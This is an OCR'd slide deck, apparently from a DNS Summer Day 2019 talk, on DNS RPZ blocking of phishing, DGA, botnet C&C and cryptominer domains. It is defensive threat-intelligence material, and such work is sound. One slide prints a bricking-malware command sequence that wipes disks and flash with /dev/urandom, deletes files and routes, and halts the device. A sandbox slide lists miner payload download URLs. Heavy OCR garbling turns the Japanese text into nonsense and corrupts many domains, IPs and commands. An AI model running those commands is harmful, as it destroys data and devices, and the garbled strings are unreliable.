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The Spamhaus Project
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Man In the Middle |
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20
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GI010

Phishing

9F06H21 H
9506 A 14H
906 H 12H

FaEZEN =574 v 2T (2019/06/21)

I UBTEN =271 v T (2019/06/14)

BRXEM=5714 927 (2019/06/12)

I9F06A0SH B W5 b LiR{TZEMNT=5T 414 v 2 (2019/06/05)
906 H04B [EH MUFG h—FZh =571 v >4 (2019/06/04)

9506 H03H
9405 H29H
94E05 22 H
94F04 A 03 H
9403 H06H

My|CB 0574 v 2% (2019/06/03)

NTT 9IN—THh—F&hit=5714 v 2% (2019/05/29)

MyEtherWallet #5274 v >4 (2019/05/22)

IINAVZENEZB T 192 (2019/04/03)

LINE Z0 =574 v 2% (2019/03/06)

Council of Anti-Phishing Japan
https://www.antiphishing.jp/news/alert/

,’

Qf
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https://www.antiphishing.jp/news/alert/docomo_20190621.html
https://www.antiphishing.jp/news/alert/sevenbank_20190614.html
https://www.antiphishing.jp/news/alert/rakuten_20190612.html
https://www.antiphishing.jp/news/alert/japanpost_20190605.html
https://www.antiphishing.jp/news/alert/mufgcard_20190604.html
https://www.antiphishing.jp/news/alert/myjcb_20190603.html
https://www.antiphishing.jp/news/alert/mylink_20190529.html
https://www.antiphishing.jp/news/alert/myetherwallet_20190522.html
https://www.antiphishing.jp/news/alert/mercari_20190403.html
https://www.antiphishing.jp/news/alert/line_20190305.html
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DGA Domain Generating Algorithm

93b375dd6cd9f2704d613d1016dbelf2.info
93b375dd6cd9f2704d613d1016dbeOf2.tk
afccOc1f4b91d590a6 1 balc24b49b525.ga
afccOc 1 f4b9fd590a6 | bal c24b49b525.info
afccOc 1f4b9fd590a6 1 bal c24b49b525.ml
afccOc 1f4b9fd590a6 | bal c24b49b525.0nline
bbc|16e2659b9b9b5128c2f7e5877d29b.cf
bbc|16e2659b9b9b5128c2f7e5877d29b.ga
bbc|16e2659b9b9b5128c2f7e5877d29b.gq
f62b55020e5e4f234fdd30c927665c9 | .xyz

-
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C&C SERVER A :
aloneliste.info

S S

2(materialinio S T |

I|I _'___.-"-. T "---___\_ ""-\-_\_ T — i . :
E—— —~ contacinformations.info

detailsnews.info

e

1
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A.K.A Light Leafon
14 TY ~

fdisk -1

busybox cat /dev/urandom >/dev/mtdblocke
busybox cat fdev/urandom >/dev/sda
busybox cat fdev/urandom >/dev/ramg
busybox cat /dev/urandom >/dev/mmce
busybox cat /dev/urandom >/dev/mtdblockl®
fdisk -C 1 -H 1 -5 1 /dev/mtde

fdisk -C 1 -H 1 -5 1 /dev/mtdl

fdisk =C 1 -H 1 -5 1 /fdev/sda

fdisk -C 1 -H 1 -5 1 /dev/mitdblocks

illed bot process

route del default

iproute del default

ip route del default

rm -rf f* 2</dev/null

sysctl -w net.ipvd.tcp _timestamps=8
sysctl -w Kernel-threads-max=1

iptables -F;iptables -t nat -F;iptables -A INPUT -7 DROP;iptables -A FORWARD -i DROP
halt -n -f

reboot






14000000

FIL—NIILDORYE 12,927,176

12000000

GLOBALTOP 10
CHINA
INDIA
VIETNAM
IRAN
8,051,914 THAILAND
— BRAZIL
USD
INDONESIA
- &Vl PAKISTAN
EGYPT

4000000 e ¥ a

2000000

2017 World 2019 World
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100000
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OR 2017 BADRYFRYE

Run: In D55 2017 Sept - Japan Top Botnet Domains & 92994 records = .7

16k ] B Count of records

14k -
12k

10k <

Count of records

2000 -

() () DNS Summer Day 2019 « ":V PIPELINE
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6 2019 BADRYFRYE

Run: In D35 2019 June - Japan Top Botnet Domains & 111764 records < .7

= B Count of records

35k
30k 4
25k -

20k

Count of records

15k +

10k -

ﬁﬁp o o ﬁﬁp ol i o ﬁﬂg O
# s = O o B 527 af

¢ PIPELINE
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Run: In D5S

45

354

30 A

25

Count of records

20

15

10

BA#1DRYDE

2019 June - Japan Top Botnet Domain &

GI010

bbtec.net

DNS Summer Day 2019 .00.‘

BE9RG records 0 7

B BOT type 2279 snowshoe ock004.localhost
BOT type 9805 c_iotmirai - 23 24616 - tcp

" BOT type 9805 c_iotmirai - 23 55645 - tcp
BOT type 9805 c_iotmirai - 23 38283 - tcp
B BOT type 9805 c_iotmirai - 2323 20978 - tcp
BOT type 9805 c_iotmirai - 5555 6888 - tcp
B BOT type 9805 c_iotmirai - 23 2297 - tcp
BOT type 9805 c_iotmirai - 5555 5300 - tcp
B BOT type 2090 s_ramnit 87.106.190.153 443 45155 _
BOT type 9805 c_iotmirai - 5555 3246 - tcp
B BOT type 9805 c_iotmirai - 5555 59392 - tcp
"~ BOT type 9805 c_iotmirai - 2323 32374 - tcp
" BOT type 9805 c_iotmirai - 5555 49178 - tcp
BOT type 9090 s_rovnix 216.218.185.162 80 49170 lastooooom..
B BOT type 9090 s_ramnit 87.106.190.153 443 45161 _
BOT type 9090 s_rovnix 216.218.185.162 80 49166 lastooooom..
BOT type 9805 c_iotmirai - 5555 18789 - tcp
BOT type 9805 c_iotmirai - 5555 42705 - tcp
© BOT type 2090 s_ramnit 87.106.190.153 443 45164 _
BOT type 9805 c_iotmirai - 5555 6313 - tcp
B BOT type 3090 s_rovnix 216.218.185.162 80 49165 lastooooom..
B BOT type 9805 c_iotmirai - 5555 4339 - tcp
B BOT type 2090 s_ramnit 87.106.190.153 443 49169 _
© BOT type 9090 s_rovnix 216.218.185.162 80 43164 lastooooom..
B BOT type 9090 s_ramnit 87.106.190.153 443 45158 _

W BOT type 9805 c_iotmirai - 5555 46446 - tcp

BOT type 2090 s_ramnit 87.106.190.153 443 491&0 _

BOT type 2090 s_ramnit 87.106.190.153 443 49165 _
B BOT type 2090 s_ramnit 87.106.190.153 443 45168 _
" BOT type 9805 c_iotmirai - 5555 1429 - tcp

BOT type 9090 s_rovnix 216.218.185.162 80 49171 lastooooom..

BOT type 2090 5s_ramnit 87.106.190.153 443 49166 _
B BOT type 9090 s_ramnit 87.106.190.153 443 49167 _
B BOT type 3090 s_rovnix 216.218.185.162 80 43172 lastooooom..
B BOT type 2090 s_rovnix 216.218.185.162 80 49186 bil6s8rzy8s...

f
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ACTIONABLE CYBER THREAT DATA

X



BARDARYEDIEEE

Run: In DSS 2019 June - Japan Top Botnet Domain & 83 records

5.0 5 B BOT type 9800 c_sshauth 147.123.64.3522 -
BOT type 9910 smtpauth mta.aruba.it

BOT type 9802 c_telnetauth 206.124.140.158 23 -
45 BOT type 1660 darkmailer2 auth localhost.localdomain

B BOT type 1665 kelihosc auth localhost

BOT type 9802 c_telnetauth 75.126.83.109 23 -
B BOT type 9800 c_sshauth 66.70.190.44

BOT type 9910 smtpauth smtp.ispxtreme.com
B BOT type 9800 c_sshauth 82.193.34.154 22 -
BOT type 9800 c_sshauth 147.123.32.33 22 -

3.5 I BOT type 9800 c_sshauth 147.123.1.23 22 -
BOT type 9800 c_sshauth 134.209.195.230 22 -

BOT type 1666 openrelay auth alexB381:pdle. T4prOTfuslyrdvp...

4.0

-".2 3.0 - BOT type 3090 s_matsnu 216.218.185.162 B0 37546 centregro...
g B BOT type 9905 authspoofbadehlo 5d4cafbca5175370 localhost
o BOT type 9910 smtpauth mail.emailprovider.local
5 2.5- _ BOT type 1667 unknownl66T auth estrela.com alpha_jadsys.c...
= MPD 8:8 cwbwbgytxwlkr.com:ddgfribawpzkjlk.com:deaoguau...
= I BOT type 1666 openrelay auth aturner@cgocable.net:zziano y...
5 MPD 15:15 bbtsodatroe.com:brfpfwvoivg.com:dvisehaiohrr.co...
2.0 -
B BOT type 9905 authspoofbadehlo 4e978abT7ofc56fed localhost
1.5+
1.0
0.5 -
a | | | | | | | | | | |
R, N, ; ; ; : . . .
{ﬁu"_'-.,‘;' ELF.,E . é-.,.u:n'-?f ';':'.P S & . ;g,{“ o ﬁa_{._la o W o 2 W . ';?":':‘ D o B i ';?'F‘ .;Fl':ﬂ @ o & W I . 5 s
W o e ° o @b B JuP e e .,4_{:';"" & .;,.e-':'% ﬁaﬁa i e qi*-'ai' ™
PhA Sy w 2+ & W « e o ﬁ-ﬁ.- ! .ﬁ-z'."‘ § A
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Dashboard / RPZ

»_ | arch... (e.g. status:200 AND extensior

PHP)

Full screen

Share Clone

Edit

C Auto-refresh € O Last 12 hours

Add a filter 4

RPZ : Types Pie

RPZ: Top Hosts

Hostname

neon-31986.portmap.host

4nbizac8.ru
gvaq70s7he.ru
lara.test
glotorrents.pw
tthvomis.com

intowow.co

RPZ: Source IP's Count

Source IP
118.179.193.19
118.179.106.88

118.179.52.227

A4 0 470 194 O

DNSTEL DEEDHLHAEMERIHTEICEMNTEZTET

Count
10,312
5991
1,232

= b oy

RPZ List
botnetcc.ip.dtq
botnetcc.host.dtq
botnetcc.host.dtq
zrd.host.dtq
botnetcc.host.dtq
zrd.host.dtq

botnetcc.host.dtq

P

First seen

March 25th 2019, 06:40:27.498
March 25th 2019, 09:58:47.723
March 25th 2019, 11:21:24.999
March 25th 2019, 11:18:07.750
March 25th 2019, 06:43:27.778
March 25th 2019, 16:22:35.298

March 25th 2019, 06:52:32.331
RPZ: RPZ Type Count

NC_rpz_type.keyword: Descending
dga.host.dtqg
botnetcc.ip.dtq

botnetcc.host.dtq

R | (S e oy

@ dga.host.dtqg

@ botnetcc.ip.dtq
botnetcc.host.atg

@ badrep.host.dtg
zrd.host.dtq

Count
5,560
1,232
336
264
255
243

215

Count
10,302
5961
2,820

4 5073



BROHBDNSTEROD LLH

Many things connect to the internet

ISP COM
\ / Query: www.googl e.co.jp \ s /
\ / \ ‘/
™~ ~ ,/ .CO.JP
8 . ~
N ‘ ~
NET ™~
~
RTTF—421E? ~>—
www.nttdocono.com
www.badguys.com
Dgaefcaseiwoweijvkajl.com
Where is www.googl e.co.jp? 2 DNS Resolver 2 Other DNS Servers
Where is www.googl e.co.jp? Do you know www.googl e.co.jp?

ACTIONABLE CYBER THREAT DATA
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DNS RPZETF—2 D4

) Query: www.googl e.co.jp \ ,/ Query: www.google.co.jp \ ,/
§ S 7 S 7

Cnhame: www.googl e.co.jp

NXDomain

Crame CDFRALDKRLRK?

Sinkhole

e
lowy

T W
N

v

www.nttdocono.com
www.badguys.com
Dgaefcaseiwoweijvkajl.com

Where is www.googl e.co.jp? 2 DNS Resolver 2 Other DNS Servers

Where is www.googl e.co.jp? Do you know www.googl e.co.jp?

SIOIO DNS Summer Day 2019 ~&2¢ " PIPELINE
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DNSA Y DOERRRE

WELOD & HRE

Query: www.googl e.co.jp

NXDomain
Cnhame
Sinkhole

Where is www.google.co.jp? 2

GIO10

‘
asticsearch ibana
T -
0/
\ Source Threat Type
o
\ ‘/
10.24.31.13 C2 Comm
131.31.23.13 Malware Domain
High 34.123.22.41 Ransomware
High 51.1.31.44 DGA Domain
l‘:l" —
WU . RPZ 7—4
\ c
\ ./
\ '/
DNS Resolver 2 Log Report

Where is www.googl e.co.jp? Who accessed google.co.jp?

9%

DNS Summer Day 2019 aQ8%

~\

-

PIPELINE
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IoTHSSRODNSO Y # KR
.

B LT BloTF/54 R = ‘
asticsearch ibana
(‘ ~ ISP P '\/
| Query: CCdomains.co.jp
_—— d \ / Source Threat Type
) ﬁ AT 10.24.31.13 C2 Comm
'1 | 2% Cpame: CCdomains.co.jp
Ei : 2 131.31.23.13 Malware Domain
. High 34.123.22.41 Ransomware
5 e -~ ,ﬂ . High 51.1.31.44 DGA Domain
—‘n
- _ -
_ : % <> h:1 NI 0/ RPZT—4
\ '/
Where is Ccdomains.co.jp? 2 DNS Resolver 2 Log Report
Where is Ccdomains.co.jp ? Who accessed

CCdomains.co.jp?

' ~
DNS Summer Day 2019 .' PIPELINE

ACTIONABLE CYBER THREAT DATA

BIO10



AL 75ODNSASTEER

logstash

/-‘\

Ny H— - HRORE -
il
S asticsearch ibana
: -
Query: Corporate AD \ /
§ ; Source Threat Type
10.13.22.3 1 Active Directory
10.13.22.31 Active Directory
\ Active High 10.13.22.31 MS Exchange
Directory
2 Low 51.1.31.44 Other AD
§ .;
o
Mail
\Server
Where is company AD server? ) DNS Resolver 2 Log Report
Scan for AD or other Internal Servers Who accessed AD Server?

ACTIONABLE CYBER THREAT DATA
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Discover
Visualize
Dashboard
Timelion

Canvas

Machine Learning
Infrastructure
Logs

APM

Dew Tools

Monitoring

Management

Default

Infrastructure

Logs

DNSA J D EEfRiRRE

":'[ search for log entries... (e.g. host.name:host-1)

2019-81-08

2819-01-08

2019-81-08

2019-81-08

15:28:52.653

15:28:52.653

15:28:52.653

15:28:52.653

tracker.coppersurfer.tk.dbl.rpz.spamhaus.org

08-Jan-2019 12:28:51.678 rpz: info: client @@x7fb7cBAB33d0
tracker.coppersurfer.tk.dbl.rpz.spamhaus.org

08-Jan-2019 12:28:52.046 rpz: info: client @@x7fb9689d3148
kingprog.publicvm,com,.cryptominer.rpz.spamhaus.org
@8-Jan-2019 12:28:52.064 rpz: 1info: client @@x7Tb8lcodolee
kKingprog.publicvm.com.cryptominer. rpz.spamhaus.org

@8-Jan-2019 12:28:52.035 rpz: client @@x7Th79@1811f@
kKingprog.publicvm.com.cryptominer.rpz.spamhaus.org

info:

118.179.223.10835739

118.179.95.109%59600

118.179.95.109#47538

118.179.95.109%853135

logstash

/-‘\
y

- @ Customize

asticsearch Ibana

Hﬁﬁ%\ggﬂggjvﬁr crer.coppersurfer.tk via

rpz QNAME NXDOMAIN rewrite kingprog.publicvm.com via

01/08/2019 3:28:52 PM

{(tracker.coppersurfer.tkl: rpz OQNAME
(kingprog.publicvm.com) ;
(kingprog.publicvm.com): rpz ONAME MNXDOMAIN rewrite kingprog.publicvm.com wvia

(kingprog.publicvm.com): rpz OQNAME NXDOMAIMN rewrite kingprog.publicvm.com via

2019-91-98

15:28:52.653

8-Jan-2819 12:28:51.719 rpz: info: client @8x71b920018a7¢@
aggressive.rpz.spamhaus.org

118.179.223.10#33277

(rp—ads.net):

rpz ONAME NXDOMAIN rewrite rp-ads.net via rp-ads.net.malware- J

2019-01-08

15:28:52.653

@28-Jan-20819 12:28:52.032 rpz: info: client @@x7fbB8l88cla30
wWwWw. pubyun.com.cryptominer.rpz.spamhaus.org

118.179.182.51%54304

(Wi . pubyun.com): rpz OQNAME NXDOMAIMN rewrite www.pubyun.com wvia

2019-81-98 15:28:52.653 08-Jan-2019 12:28:52.1089 rpz: info: client @0x7fbBOOO588c® 118.179.223.10%#38677 (rp-ads.net): rpz ONAME NXDOMAIN rewrite rp-ads.net via rp-ads.net.malware-
aggressive.rpz.spamhaus.org
2019-81-08 15:28:52.653 B8-Jan-2819 12:28:51.773 rpz: info: client @@x7fb7aB0ab2d® 118.179.182.51#37719 (www.pubyun.com}: rpz ONAME NXDOMAIN rewrite www.pubyun.com via

2819-81-08

2019-81-08

2019-81-28

2819-01-08

2019-01-08

2019-01-08

2919-01-08

2019-81-08

15:28:52.653

15:28:52.653

15:28:52.653

15:28:52.633

15:28:52.653

15:28:52.053

15:28:52.653

15:28:52.653

www . pubyun. com. cryptominer. rpz.spamhaus.org

@B-Jan-2019 12:28:52.032 rpz: info: client @@x7fb9308c581e0
kingprog.publicvm.com.cryptominer.rpz.spamhaus.org
@8-Jan-2019 12:28:52.170 rpz: info: client @@x7Tb7deed4acde
donate.ssl.xmrig.com.cryptominer. rpz.spamhaus.org
@8-Jan-2019 12:28:51.703 rpz: client E@x7fbB48052730
aggressive.rpz.spamhaus.org

@B-Jan-2819 12:28:52.072 rpz: info: client @@x7fb71400daad
kingprog.publicvm.com.cryptominer.rpz.spamhaus.org

info:

@8-Jan-2019 12:28:52.140 rpz: 1nfo: client @Bx7Tb71fRl2clde
aggressive.rpz.spamhaus.org
R8-Jan-2019 12:28:52.058 rpz: info: client @@x7fb7a0@fc3ile

kingprog.publicvm.com.cryptominer.rpz.spamhaus.org
BB-Jan-2019 12:28:52.074 rpz: info: client @@x7fb7ac@l1l560
kingprog.publicvm.com.cryptominer.rpz.spamhaus.org

@8-Jan-2019 12:28:52.164 rpz: info: client @@x7Tbh9Z2000bT20
donate.ssl.xmrig.com.cryptominer.rpz.spamhaus.org

118.179.95.109%#53135

118.179.223.18#495838

118.179.,223,10#52699

118.179.95.1@9259667

118.179.223.10#858424

118.179.95.109#47538

118.179.95.109#59667

118.179.223.10%384006

(kingprog.publicvm.com): rpz ONAME NXDOMAIN rewrite kingprog.publicvm.com via

(donate.ssl.xmrig.com): rpz ONAME NXDOMAIN rewrite donate.ssl.xmrig.com via

(rp—ads.net): rpz ONAME NXDOMAIN rewrite rp-ads.net via rp-ads.net.malware-

(kingprog.publicvm.com): rpz ONAME MXDOMAIN rewrite Kingprog.publicvm.com via

{rp—ads.net): rpz ONAME NXDOMAIN rewrite rp-ads.net via rp-ads.net.malware-

(kingprog.publicvm.com}): rpz ONAME NXDOMAIN rewrite kingprog.publicvm.com wvia

(kingprog.publicvm.com): rpz ONAME NXDOMAIN rewrite kingprog.publicvm.com via

(donate.ssl.xmrig.com): rpz QNAME NXDOMAIN rewrite donate.ssl.xmrig.com via

FIFCULINED
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» January 8th 2819,

» January 8th 2819,

» January 8th 2819,

» January 8th 2819,

BIO10

15:22:27.892

15:22:27.892

logstash

DNSB 5 DRk /-\

tags: beats_input_codec_plain_applied @&version: 1 prospector.type: log host.name: ns3 beat.name: ns3 'ﬁag%@garcﬁlﬂ BERLOn: b.3.2

HC hostname: nametraff.com NC srcip: 118.179.173.28 input.type: log NC timestamp: B8-Jan-2019 ftimestamp: Janu 19, 15:22:27.8092 offset: 34
5,900,264 message: ©8-Jan-2019 12:22:26.443 rpz: info: client @@x7fb7b800835b@ 118.179.173.28#13745 (nametraff.com): rpz QMAME NXDOMAIN rewrite nametraff.c
om via nametraff.com.cryptominer.rpz.spamhaus.org sourece: /var/cache/bind/rpz.log HC rpz type: cryptominer.rpz.spamhaus.org _id: 3%9wglGgBNe@o-3DjaT58

_type: doc _index: filebeat-6.3.2-2019.81.808 score: -

tags: beats_input_codec_plain_applied Bversion: 1 prospector.type: log host.name: ns3 beat.name: ns3 beat.hostname: ns3 beat.version: 6.3.2

NC hostname: cheapmusic.info |HC sreip: 118.1?9.223.13} input.type: log HNC timestamp: 08-Jan-2019 @timestamp: January 8th 2819, 15:22:27.092 opffset: 3
45,991,744 message: ©E8-Jan-2019 12:22:26.469 rpz: info: client @@x7fb948082e50 118.179.223.10#53446 (cheapmusic.info): rpz QNAME NXDOMAIN rewrite cheapmus

l1c.info wvia cheameSic.infu.malware—aggr25sive.rpz.5pamhau5.nrg} source: /var/cache/bind/rpz.log NC rpz type: malware-aggressive.rpz.spamhaus.org _id: 4d

15:22:27.892

15:22:27.892

wgLGgBN@@e-30)aT58 type: doc _index: TfTilebeat-6.3.2-2019.01.98 score: -

tags: beats_input_codec_plain_applied @&version: 1 prospector.type: log host.name: ns3 beat.name: Ns53 beat.hostname: ns3 beat.version: 6.3.2

HC hostname: rp-ads.net NC srcip: 202.4.96.0 input.type: log HC timestamp: @8-Jan-2019 Etimestamp: January 8th 2019, 15:22:27.9092 offset: 345,902,533
2 message: 08-Jan-2019 12:22:26.673 rpz: info: client @@x7fb7a80a779@¢ 202.4.96.6#7692 (rp-ads.net): rpz QNAME NXDOMAIN rewrite rp-ads.net via rp-ads.net.m
alware-aggressive.rpz.spamhaus.org souree: /var/cache/bind/rpz.log HNC rpz type: malware-aggressive.rpz.spamhaus.org _id: 4twglGoBM@Be6-3DjaT38  type: d

oc _index: fllebeat-6.3.2-2019.01.08 score: -

tags: Dbeats_input _codec _plain_applied @&wversion: 1 prospector.type: l0oJg host.name: nSs3 beat.name: N53 beat.hostname: ns3 beat.version: 6.3.2

NC hostname: a.dnspod.com HC sreip: 118.179.223.18 input.type: log NC timestamp: @8-Jan-2019 @timestamp: January 8th 2019, 15:22:27.892 offset: 345,
993,998 message: 08-Jan-2019 12:22:26.849 rpz: info: client @@x7Tb7c8855d@0 118.179.223.10#40464 (a.dnspod.com): rpz IP NXDOMAIN rewrite a.dnspod.com via
32.205.79.226.101.rpz-1p.sbl.rpz.spamhaus.orgy source: /fvar/cache/bind/rpz.log HC rpz type: sbl.rpz.spamhaus.org _id: 5SNwglLGgBN@RbB-3DjaT58 type: doc
_index: filebeat-6.3.2-2019.81.08 score: -
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logstash

DNSA 5 DR 8EE -~

,‘/
J’f

' Visualize / RPZ: RPZ Type Count Save -Spect Refresh jo-refresh < @ Last 15 minutes
‘ klbanﬁ 1 . ND & 'asticsearch jbana Options
@ Discover Add a filter +
b Visualze filebeat-*
@ NC rpz_type keyword: Descending Count -
Dashboard : e -
bt i E’] cryptominer.rpz.spamhaus.org 16,181
B Timelion -
. malware-aggressive.rpz spamhaus.or 8222
Metrics 5 PP 6
; dbl.rpz.spamhaus.or 5,068
A n Metric Count i b
Michina Learie ” | bad-nameservers.rpz.spamhaus.org 2074
metnds
' malware-adware.rpz.spamhaus.org aQ 766
Infrastructure
abused-legit.rpz.spamhaus.org 718
o Buckets
g8 sbl.rpz.spamhaus.org 606
n Split Rows NC_rpz type keyword., © E]
APM malware.rpz spamhaus.org 444
Add sub-buckats
Dev Tools | | botnetcc.rpr.spamhaus.org 193
origin.com.rpz.local A5
Manitoring
Management Export: Raw & Formatted &
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Top 5 values in 500 / 500 records

cryptominer.rpz.spamhaus.org
35.2%

malware-aggressive.rpz.spamhaus.org
34.4%

malware-adware.rpz.spamhaus.org

abused-legit.rpz.spamhaus.org

dbol.rpz.spamhaus.crg

7.6%

BIO10

DNSA Y D MR

QQ

QQ

QQ

QQ

QQ

Top 5 values in 500 / 500 records

118.179.223.10

118.179.182.51

QqQ

QQ

QQ

QQ

Qq

logstash

/-\
y

'asticsearch

Top 5 values in 500 /f 500 records
rp-ads.net @ Q

WWW.pubyun.com QQ

donate.vZ.xmrig.com @ Q

cobalten.com @ Q

s8.url.cn QQ
5.8%
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DNSAJ DEEHR DR

General Information Detection Signature Overview

Date: 16.11.2017 Networking

Duration: Oh 3m 34s Malware Analysis Syste...
Sample Name: rCVIQeH04 Language, Device and ...
Cookbook: default.jbs U S T Anti Debugging

+ (Contacts 8 domains/IPs
« Launches 2 processes

¢ Drops 3 files AV Detection
Contacted Domains

Data Obfuscation

EYBER R Name P Active
EUR“Y pool.minexmr.com 37.59.56.102 true
PIPELINE
Xxmr.obeb7b.ru 45.58.140.194 true
B4.myxmr.pw 170.178.171.162 true
WWw.pubyun.com 118.184.176.15 true
HTTP Gets & Posts
URL Method
B4.myxmr.pw:8888/md>5.txt GET
64.myxmr.pw:8888/cudart32_65.dll GET
¥mr.ab6b7b.ru:8888/xmrok.txt GET
®*mr.obeb7b.ru:8888/xmrok.txt GET
www.pubyun.com/dyndns/getip GET
https://www.joesandbox.com/analysis/372 19/0/executive ¢ ~
| | ' DNS Summer Day 2019 .' PIPELINE
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https://www.joesandbox.com/analysis/37219/0/executive

DNSDEXa1T4—. . T3A/\— LEEE

DNSSEC
DNS over TLS

DNS over HTTPS NOT SURE IF DNS PROBLEM

DNS Tunnel

(CNAME) 9T JHA | - TS5HH—
(MX) A—JLY—/\—

(APl) DX TPy, EIALTTY
(TXT) New Attack Vectors

ISP - ;&{E=+t :
SP- RS OR THE SWITCH IS FUCKED

240325
A—HF—OTF—%ar kA=

P RFLRT YV EITTIEXM . DNSTIRH &3
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